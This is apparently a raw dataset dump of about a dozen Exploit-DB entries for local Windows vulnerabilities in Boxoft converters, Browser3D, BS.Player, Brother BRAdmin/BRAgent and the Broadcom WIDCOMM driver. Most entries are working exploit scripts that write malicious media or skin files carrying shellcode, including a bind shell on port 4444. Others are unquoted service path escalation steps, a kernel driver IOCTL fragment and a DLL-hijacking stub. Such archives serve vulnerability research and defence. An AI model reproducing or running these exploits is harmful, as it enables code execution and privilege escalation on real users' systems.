deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38456
Description: Boxoft WAV to MP3 Converter 1.1 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2015-10-14
Author: ArminCyber

Exploit:
# Exploit Title: Boxoft WAV to MP3 Converter 1.1 - SEH Buffer Overflow
# Date: 10/13/2015
# Exploit Author: ArminCyber
# Contact: Armin.Exploit@gmail.com
# Version: 1.1
# Tested on: XP SP3 EN
# Description: A  malicious .aiff file cause this vulnerability.
# category: Local Exploit


f = open("malicious.aiff", "w")

f.write("A"*4132)

f.write("\xeb\x06\x90\x90")

f.write("\xa4\x43\x40\x00")

# Shelcode:
# windows/exec - 277 bytes
# CMD=calc.exe
f.write("\x90"*20)
f.write("\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
"\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
"\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
"\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
"\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
"\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
"\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
"\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
"\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
"\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
"\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
"\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
"\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
"\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
"\xc4\xd9")
f.write("\x90"*20)

f.close()
Exploit-DB #44989
Description: Boxoft WAV to WMA Converter 1.0 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2018-07-09
Author: Achilles

Exploit:
# Exploit Title: Boxoft wav-wma Converter - Local Buffer Overflow (SEH)  
# Date: 2018-07-08
# Software Link: http://www.boxoft.com/wav-to-wma/
# Software Version:1.0
# Exploit Author: Achilles
# Target: Windows 7 x64 
# CVE:
# Description: A  malicious .wav file cause this vulnerability. 
# Category: Local Exploit

buffer = "A" * 4132
buffer+= "\x90\x90\xeb\x06" #jmp short 6
buffer+= "\x34\x14\x40\x00" # pop pop retn
buffer+= "\x90" * 20
buffer+= ("\xda\xd5\xb8\x9b\x69\x4d\xa1\xd9\x74\x24\xf4\x5a\x33" #Bind shellcode port 4444
"\xc9\xb1\x60\x83\xc2\x04\x31\x42\x15\x03\x42\x15\x79"
"\x9c\xf2\x9b\x0c\xb0\x35\x05\x03\x97\x32\x91\x2f\x75"
"\x92\x10\x7e\xdf\xd5\xdf\x95\x63\xd0\x24\x96\x1e\xca"
"\xc6\x57\x4b\xd9\xe7\x3c\xe4\x1c\xa0\xd9\x7e\x72\xe4"
"\x38\x26\xd1\x92\x88\x79\x63\x55\xe3\x94\xfe\x9a\xac"
"\xb5\xde\xe4\x35\xbc\xd0\x9f\xe6\x92\x63\x51\x5a\xaf"
"\xad\x1b\xb0\xf9\x6e\x46\xac\x68\xa9\x48\xce\xb8\xe1"
"\xd2\xf5\x1a\x7d\x84\xde\xb9\x55\xa0\xe8\xe3\xd8\xb2"
"\x31\xfb\x1a\x0b\xea\xed\xf4\x8f\xdd\xf5\x55\xbf\x1a"
"\xa5\xe8\xd8\xfa\xde\x45\x11\x7c\x4d\xea\x87\x0f\x9f"
"\xe5\xdf\x90\x18\x7e\x52\x1b\xd7\x24\x22\xab\x1b\xda"
"\x31\xa2\x75\x8f\xa3\x13\x99\x20\x5e\x07\x57\x68\x3e"
"\x10\xc7\xc2\xb0\x2b\xa0\x13\xd6\x6a\x3e\xc3\x1e\x99"
"\x4f\xf0\xce\x63\x50\xe3\x90\x80\x3e\x0e\x9c\x39\x7e"
"\x48\xe6\xf0\xe7\x3b\xd3\x7d\xe3\xa3\x62\x41\xee\x19"
"\xd0\xa8\xc9\xdb\x02\x93\x0f\x34\xb0\xad\x81\x08\x57"
"\xce\xb8\x38\xfe\x13\xc9\xe7\x40\xc2\x17\xa6\x3a\x4c"
"\x06\x31\xfc\x3f\x8f\xcb\x85\x84\x74\x98\x9c\x63\xe5"
"\x46\x2f\xfc\x15\x3b\x5c\x37\xd3\x36\xfc\x39\x3c\x86"
"\x29\x32\xbb\xb3\x04\x13\x6a\xd1\xa7\x55\xac\x8e\xa8"
"\x05\xaf\xc3\xae\x9d\xc6\x5f\xa8\x9d\x8e\x4a\x25\x3a"
"\x35\xa3\xd7\x4c\xaa\xb1\x87\xca\x54\x6d\xdc\xb2\xf3"
"\x3a\xaa\x29\xea\x44\x01\x4e\xb0\x08\x9a\xd0\xb5\x69"
"\x42\xe5\xb4\x5f\x59\xff\xb4\x90\xe2\x97\x66\x09\x89"
"\x87\x8e\xff\xa8\x21\x68\x3f\x01\xe9\xb3\x27\x63\xd2"
"\x93\x2f\x4d\x9c\x28\x21\xd4\x9d\xad\x8f\x24\x19\xc9"
"\x98\xbc\x24\x0b\x47\x84\x9c\x57\xd2\x20\x79\x71\x67"
"\xe0\xd1\xcd\x40\x51\x7d\xe2\x39\xa9\xd2\x92\x4c\x24"
"\x59\x7b\xfd\x89\x6e\xea\xec\xc8\xac\x54\x8a\x26\x60"
"\x81\x38\x06\x32\xab\x56\x1c\xe7\xd0\x78\xe5\xa2\x75"
"\xc8\x28\x1b\xd5\x3f\x51")

try:
	f=open("Evil.wav","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
Exploit-DB #49671
Description: BRAdmin Professional 3.75 - 'BRA_Scheduler' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-19
Author: Metin Yunus Kandemir

Exploit:
# Exploit Title: BRAdmin Professional 3.75 - 'BRA_Scheduler' Unquoted Service Path
# Date: 2021-03-17
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://global.brother/
# Software Link: https://support.brother.com/g/b/downloadend.aspx?c=us&lang=en&prod=hls7000dn_us_eu_as&os=10013&dlid=dlf005042_000&flang=4&type3=26
# Version: 3.75.0000
# Tested on: Windows 10
# Source: https://docs.unsafe-inline.com/0day/bradmin-professional-3.75-unquoted-service-path

#Description:

This software allows system administrators to view and control the status of their networked Brother and most other SNMP compliant printing devices. 
If a user can insert a executable which is called as "BRAdmin" under the "C:\Program Files (x86)\Brother\" , local system privileges could be obtained by the user. 

#Detection of unquoted service path:

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "BRAdmin" |findstr /i /v """
Brother BRAdminPro Scheduler
BRA_Scheduler                             
C:\Program Files (x86)\Brother\BRAdmin Professional 3\bratimer.exe                 
Auto


C:\>sc qc BRA_Scheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: BRA_Scheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Brother\BRAdmin Professional 3\bratimer.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Brother BRAdminPro Scheduler
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #37964
Description: Broadcom WIDCOMM Bluetooth - 'btkrnl.sys' Driver Privilege Escalation
Type: local
Platform: windows
Date: 2012-10-18
Author: Nikita Tarakanov

Exploit:
/*
source: https://www.securityfocus.com/bid/56124/info

Broadcom WIDCOMM Bluetooth is prone to a local privilege-escalation vulnerability.

A local attacker may exploit this issue to gain escalated privileges and execute arbitrary code with kernel privileges. Failed exploit attempts may result in a denial-of-service condition.

Broadcom WIDCOMM Bluetooth 5.6.0.6950 is vulnerable; other versions may also be affected. 
*/

HANDLE   hDevice;
    char *inbuff, *outbuff;
    DWORD ioctl, len,;
 
    if ( (hDevice = CreateFileA("\\\\.\\btkrnl",
                                              0,
                                              0,
                                              0,
                                              OPEN_EXISTING,
                                              0,
                                              NULL) ) != INVALID_HANDLE_VALUE )
    {
            printf("Device succesfully opened!\n");
    }
    else
    {
            printf("Error: Error opening device \n");
            return 0;
    }
    inbuff = (char*)malloc(0x12000);
    if(!inbuff){
            printf("malloc failed!\n");
            return 0;
    }
    outbuff = (char*)malloc(0x12000);
    if(!outbuff){
            printf("malloc failed!\n");
            return 0;
    }
        ioctl = 0x2A04C0;
        memset(inbuff, 0x41, 0x70);    
        DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff, 0x70, (LPVOID)outbuff, 0x70, &len, NULL);
Exploit-DB #50010
Description: Brother BRAgent 1.38 - 'WBA_Agent_Client' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-06-15
Author: Brian Rodriguez

Exploit:
# Exploit Title: Brother BRAgent 1.38 - 'WBA_Agent_Client' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 14-06-2021
# Vendor Homepage: https://brother.com
# Software Link: https://support.brother.com/g/b/downloadhowto.aspx?c=us&lang=en&prod=ads1000w_us&os=10013&dlid=dlf002778_000&flang=4&type3=46
# Tested Version: 1.38
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
Brother BRAgent    WBA_Agent_Client   C:\Program Files
(x86)\Brother\BRAgent\BRAgtSrv.exe   Auto

C:\>sc qc WBA_Agent_Client
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: WBA_Agent_Client
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Brother\BRAgent\BRAgtSrv.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Brother BRAgent
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #50005
Description: Brother BRPrint Auditor - 'Multiple' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-06-15
Author: Brian Rodriguez

Exploit:
# Exploit Title: Brother BRPrint Auditor 3.0.7 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 14-06-2021
# Vendor Homepage: https://support.brother.com/
# Software Links: https://support.brother.com/g/b/downloadhowto.aspx?c=us&lang=en&prod=dcp7060d_all&os=10013&dlid=dlf102753_000&flang=4&type3=214
# Tested Version: 3.0.7
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
BrPrAuSvc     BrAuSvc      C:\Program Files
(x86)\Brother\BRPrintAuditor\Brsvau3a.exe       Auto

Brother BRPrintAuditor Agent     BRPA_Agent   C:\Program Files
(x86)\Brother\BRPrintAuditor\BRAgtSrv.exe    Auto

C:\Users\IEUser>sc qc BrAuSvc
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: BrAuSvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Brother\BRPrintAuditor\Brsvau3a.exe
        GRUPO_ORDEN_CARGA  : BrotherSplGroup
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : BrPrAuSvc
        DEPENDENCIAS       : Spooler
        NOMBRE_INICIO_SERVICIO: LocalSystem

C:\Users\IEUser>sc qc BRPA_Agent
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: BRPA_Agent
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Brother\BRPrintAuditor\BRAgtSrv.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Brother BRPrintAuditor Agent
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #7843
Description: Browser3D 3.5 - '.sfs' Local Stack Overflow
Type: local
Platform: windows
Date: 2009-01-22
Author: SimO-s0fT

Exploit:
#include<stdio.h>
#include<string.h>
#include<windows.h>

/* Browser3D local BOF exploit
* coded by SimO-s0fT ( maroc-anti-connexion@hotmail.com)
*greetz to: all friends & all morroccan hackers
*special tnx for str0ke
/* win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x2b\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc2"
"\xf8\x23\x02\x83\xeb\xfc\xe2\xf4\x3e\x10\x67\x02\xc2\xf8\xa8\x47"
"\xfe\x73\x5f\x07\xba\xf9\xcc\x89\x8d\xe0\xa8\x5d\xe2\xf9\xc8\x4b"
"\x49\xcc\xa8\x03\x2c\xc9\xe3\x9b\x6e\x7c\xe3\x76\xc5\x39\xe9\x0f"
"\xc3\x3a\xc8\xf6\xf9\xac\x07\x06\xb7\x1d\xa8\x5d\xe6\xf9\xc8\x64"
"\x49\xf4\x68\x89\x9d\xe4\x22\xe9\x49\xe4\xa8\x03\x29\x71\x7f\x26"
"\xc6\x3b\x12\xc2\xa6\x73\x63\x32\x47\x38\x5b\x0e\x49\xb8\x2f\x89"
"\xb2\xe4\x8e\x89\xaa\xf0\xc8\x0b\x49\x78\x93\x02\xc2\xf8\xa8\x6a"
"\xfe\xa7\x12\xf4\xa2\xae\xaa\xfa\x41\x38\x58\x52\xaa\x08\xa9\x06"
"\x9d\x90\xbb\xfc\x48\xf6\x74\xfd\x25\x9b\x42\x6e\xa1\xf8\x23\x02";
int main(int argc,char *argv[]){
    printf("\t ===>viva marrakesh city<===\t\n");
    FILE *openfile;
    char exploit[430];
    char junk[262];
    char ret[]="\x68\xD5\x85\7C";//jmp kernel32.dll esp (windows trust sp2)
    char nop[]="\x90\x90\x90\x90";
    memset(junk,0x90,262);
    memcpy(exploit,junk,strlen(junk));
    memcpy(exploit+strlen(junk),ret,strlen(ret));
    memcpy(exploit+strlen(junk)+strlen(ret),nop,strlen(nop));
    memcpy(exploit+strlen(junk)+strlen(ret)+strlen(nop),scode,160);
    openfile=fopen("simo.sfs","wb");
    if(openfile==NULL){ perror("can't opening this file\n"); }
    fwrite(exploit,1,sizeof(exploit),openfile);
    fclose(openfile);
    printf("file created ....!"
                 "open it whit Browser3d");
    return 0;
}

// milw0rm.com [2009-01-22]
Exploit-DB #7848
Description: Browser3D 3.5 - '.sfs' Local Stack Overflow
Type: local
Platform: windows
Date: 2009-01-22
Author: AlpHaNiX

Exploit:
#!/usr/bin/perl
# By ALpHaNiX
# NullArea.Net
# THanks

system("color 5");

if (@ARGV != 1) { &help; exit(); }

sub help(){
	print "[X] Usage : ./exploit.pl filename \n";
}

{ $file = $ARGV[0]; }
print "\n [X]*************************************************\n";
print " [X]Browser3D(.sfs file) Local Stack Overflow Exploit*\n";
print " [X]        Coded By AlpHaNiX                        *\n";
print " [X]         From Null Area [NullArea.Net]           *\n";
print " [X]**************************************************\n\n";

print "[+] Exploiting.....\n" ;

my $acc="\x41" x 300 ;
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub
http://metasploit.com
my $shellcode =
"\x2b\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5d".
"\x7e\xf1\x8c\x83\xeb\xfc\xe2\xf4\xa1\x96\xb5\x8c\x5d\x7e\x7a\xc9".
"\x61\xf5\x8d\x89\x25\x7f\x1e\x07\x12\x66\x7a\xd3\x7d\x7f\x1a\xc5".
"\xd6\x4a\x7a\x8d\xb3\x4f\x31\x15\xf1\xfa\x31\xf8\x5a\xbf\x3b\x81".
"\x5c\xbc\x1a\x78\x66\x2a\xd5\x88\x28\x9b\x7a\xd3\x79\x7f\x1a\xea".
"\xd6\x72\xba\x07\x02\x62\xf0\x67\xd6\x62\x7a\x8d\xb6\xf7\xad\xa8".
"\x59\xbd\xc0\x4c\x39\xf5\xb1\xbc\xd8\xbe\x89\x80\xd6\x3e\xfd\x07".
"\x2d\x62\x5c\x07\x35\x76\x1a\x85\xd6\xfe\x41\x8c\x5d\x7e\x7a\xe4".
"\x61\x21\xc0\x7a\x3d\x28\x78\x74\xde\xbe\x8a\xdc\x35\x8e\x7b\x88".
"\x02\x16\x69\x72\xd7\x70\xa6\x73\xba\x1d\x90\xe0\x3e\x7e\xf1\x8c";
my $ret ="\x1a\x0f\x46\x77"  ; #  jmp ESP in Windows VISTA
my $nop ="\x90" x 20 ;# some lame nops lol
my $exploit = $acc.$ret.$nop.$shellcode;
print "[+] Creating Evil File" ;
open($FILE, ">>$file") or die "Cannot open $file";
print $FILE $exploit;
close($FILE);
print "\n[+] Please wait while creating $file";
print "\n[+] $file has been created";

# milw0rm.com [2009-01-22]
Exploit-DB #8251
Description: BS.Player 2.34 - '.bsl' Universal Overwrite (SEH)
Type: local
Platform: windows
Date: 2009-03-20
Author: His0k4

Exploit:
#usage: exploit.py
print "**************************************************************************"
print " Bs.Player 2.34 (.bsl) Universal Seh Overwrite Exploit\n"
print " Author : Nine:Situations:Group::pyrokinesis"
print " Exploited by : His0k4"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)\n"
print "**************************************************************************"
         	
			
buff = "\x41" * 412

next_seh = "\xEB\x12\x41\x41"

seh = "\xD0\x26\x58\x02" # oldskin.dll

nops = "\x90"*19

header1= "\x68\x74\x74\x70\x3A\x2F\x2F\x52\x61\x77\x2D\x48\x69\x67\x68\x2E"
header2= "\x2E\x46\x4D\x2F\x6C\x69\x73\x74\x65\x6E\x2E\x70\x6C\x73\x0A\x00"

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x30\x42\x30\x4b\x58\x45\x34\x4e\x33\x4b\x58\x4e\x37"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x51\x4b\x58"
"\x4f\x55\x42\x42\x41\x50\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x48"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x52\x46\x50\x45\x37\x45\x4e\x4b\x58"
"\x4f\x45\x46\x42\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x34"
"\x4b\x58\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x41\x4b\x58"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x52\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x56\x4b\x58\x42\x54\x42\x53\x45\x48\x42\x4c\x4a\x57"
"\x4e\x50\x4b\x58\x42\x54\x4e\x30\x4b\x38\x42\x57\x4e\x41\x4d\x4a"
"\x4b\x38\x4a\x46\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x58\x4a\x46\x4e\x53\x4f\x35\x41\x33"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57"
"\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x45\x4a\x46\x4a\x49"
"\x50\x4f\x4c\x48\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x46\x43\x46\x42\x30\x5a")

	
exploit = header1 + buff + next_seh + seh + nops + shellcode + header2

try:
    out_file = open("exploit.bsl",'w')
    out_file.write(exploit)
    out_file.close()
    print "Exploit file created!\n"
except:
    print "Error"

# milw0rm.com [2009-03-20]
Exploit-DB #11146
Description: BS.Player 2.51 - Overwrite (SEH)
Type: local
Platform: windows
Date: 2010-01-15
Author: Mert SARICA

Exploit:
# BS.Player v2.51
# Software Link: http://www.bsplayer.com/bsplayer-english/download-free.html
# SEH Overwrite Vulnerability
# http://www.mertsarica.com

junk = "[Options]\nSkin="

vulnerability = junk + "\x41"*496 + "\x42"*4 + "\x43"*4

try: 
   vulnerable = open("vulnerable.bsi",'w') 
   vulnerable.write(vulnerability) 
   vulnerable.close() 
   print "Vulnerable file created!\n"
except: 
   print "Error occured!"
Exploit-DB #11154
Description: BS.Player 2.51 - Universal Overflow (SEH)
Type: local
Platform: windows
Date: 2010-01-16
Author: Dz_attacker

Exploit:
# Exploit Title: BS.Player v2.51 Universal SEH Overflow Exploit
# Date: 15/01/2010
# Author: Dz_attacker
# Version: 2.51
# Tested on: Windows xp sp3
# Code :


# Discover : mertsarica
# Exploit : Dz_Attacker (dz_attacker@hotmail.fr)

junk = "[Options]\nSkin="

# win32_exec -  EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
payload =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x30\x42\x30\x42\x50\x4b\x38\x45\x54\x4e\x33\x4b\x38\x4e\x47"
"\x45\x50\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x31\x4b\x58"
"\x4f\x55\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x58"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x50\x45\x37\x45\x4e\x4b\x38"
"\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x34"
"\x4b\x38\x4f\x55\x4e\x51\x41\x30\x4b\x4e\x4b\x48\x4e\x51\x4b\x38"
"\x41\x30\x4b\x4e\x49\x48\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x43"
"\x42\x4c\x46\x56\x4b\x58\x42\x54\x42\x33\x45\x58\x42\x4c\x4a\x57"
"\x4e\x50\x4b\x48\x42\x34\x4e\x50\x4b\x48\x42\x57\x4e\x41\x4d\x4a"
"\x4b\x58\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x58\x42\x4b"
"\x42\x30\x42\x30\x42\x50\x4b\x58\x4a\x36\x4e\x53\x4f\x35\x41\x33"
"\x48\x4f\x42\x36\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x45\x4a\x36\x50\x57\x4a\x4d\x44\x4e\x43\x47\x4a\x36\x4a\x49"
"\x50\x4f\x4c\x48\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x56\x41\x46"
"\x4e\x56\x43\x56\x42\x50\x5a")

exploit =  junk
exploit += payload
exploit += "\x41"*(496-len(payload))
exploit += "\xeb\x06\x42\x42"
exploit += "\x2C\x3C\x4E\x02"
exploit += "\x61"*3
exploit += "\x83\xC0\x31\x50\xC3"
exploit += "\x44"*50

try:
   bsi = open("exploit.bsi",'w')
   bsi.write(exploit)
   bsi.close()
   print "Exploit file created!\n"
except:
   print "Error occured!"
Exploit-DB #14739
Description: BS.Player 2.56 build 1043 - 'mfc71loc.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: diwr

Exploit:
/*
# Exploit Title: BS.Player DLL Hijacking Exploit (mfc71loc.dll)
# Date: 25/08/2010
# Author: Bruno Filipe (diwr) http://digitalacropolis.us
# Software Link: http://www.bsplayer.org
# Version: <= 2.56 build 1043
# Tested on: WinXP SP2, WinXP SP3
# Thx TheLeader ;)
#
----------------------------------------------------------------------------------------------------------
# This should work with any file handled by BS.Player (videos and music)
# 1. gcc dllmain.c -o mfc71loc.dll
# 2. Put mfc71ptb.dll in the same directory of a media file (EG:
anything.avi)
# 3. You can generate a msfpayload DLL and spawn a shell, for example.
#
----------------------------------------------------------------------------------------------------------
*/


#include <windows.h>

int main()
{
  WinExec("calc", SW_NORMAL);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  main();
  return 0;
}